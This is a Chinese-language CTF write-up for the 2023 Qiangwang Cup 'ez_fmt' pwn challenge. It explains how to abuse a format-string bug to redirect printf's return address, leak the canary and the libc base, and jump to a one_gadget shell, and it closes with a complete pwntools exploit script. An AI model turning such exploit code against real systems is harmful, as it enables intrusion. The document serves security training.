2023强网杯ez_fmt
序言:明天要打强网杯了,特意找了一点以前的题写写,发现这高质量比赛的题真是开阔视野了,收获不少。
解题思路
IDA反编译一下看一下伪代码,第一眼看上去真是简单题呀,但是以开始写脚本发现十分的不对劲,只有一个格式化字符串漏洞,而且利用过后不能通过fini_array实现无限利用。

思考很久都没有思路,上网查看了大佬的wp才恍然大悟。也彻底颠覆了我对控制函数返回地址的理解。

题目首先给了个buf的地址,通过调试发现,printf的返回地址就是buf-0x8

这时候我们就可以通过格式化字符串来控制buf-0x8的内容,实现printf函数后直接跳转到read函数,而不是执行w = 0,这样我们就可以实现多次格式化字符串利用了。

可以看到我们已经把返回地址改为0x401205,这样就会执行完printf函数直接又执行read函数

所以我们的攻击思路为
- 通过格式化字符串修改printf函数的返回地址,并且泄露libc基地址
- 通过格式化字符串修改main函数的返回地址为one_gadget
总结
题目能泄露地址不要总想着通过main函数控制执行流,有时候通过其他函数才能化繁为简。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| from pwn import * from ctypes import * from LibcSearcher import * import sys
ls = lambda data :log.success(data) lss = lambda s :ls('\033[1;31;40m%s ---> 0x%x \033[0m' % (s, eval(s)))
filename = './ez_fmt' url = ''
context.terminal = ['tmux', 'splitw', '-h', '-p', '80'] context.log_level = 'debug'
match = re.match(r'([^:\s]+)(?::(\d+)|\s+(\d+))?', url) hostname, port = (match.group(1), match.group(2) or match.group(3)) if match else (None, None) p = (remote(hostname, port) if len(sys.argv) > 1 and sys.argv[1] == 're' else process(filename)) if len(sys.argv) > 1 and sys.argv[1] == 'de': gdbscript = ''' b * 0x000000000040121B b * 0x0000000000401239 ''' gdb.attach(p, gdbscript=gdbscript) print("GDB attached successfully") elf = ELF(filename) libc = ELF('./libc-2.31.so')
p.recvuntil('gift for you ') buf_addr = int(p.recvuntil(b'\n' , drop = True) , 16) lss('buf_addr') read_ret = buf_addr - 0x8 payload = b'%5c%9$hhn%17$p%19$p'.ljust(0x18 , b'\x00') print(len(payload)) payload += p64(read_ret) print(len(payload)) p.send(payload) p.recv(5) canary = int(p.recv(18) , 16) lss('canary') __libc_start_call_main = int(p.recv(14) , 16) - 243 lss('__libc_start_call_main') base_addr = __libc_start_call_main - libc.sym['__libc_start_main'] lss('base_addr') one_gadget = [0xe3afe , 0xe3b01 , 0xe3b04] execve = base_addr + one_gadget[1] mian_ret = buf_addr + 0x68 lss('execve') bit1 = (execve >> 16) & 0xff bit2 = execve & 0xffff lss('bit1') lss('bit2') payload = b'%' + str(bit1).encode() + b'c%10$hhn' payload += b'%' + str(bit2 - bit1).encode() + b'c%11$hn' print(len(payload)) payload = payload.ljust(0x20 , b'\x00') payload += p64(mian_ret + 2) + p64(mian_ret) print(len(payload)) p.send(payload)
p.interactive()
|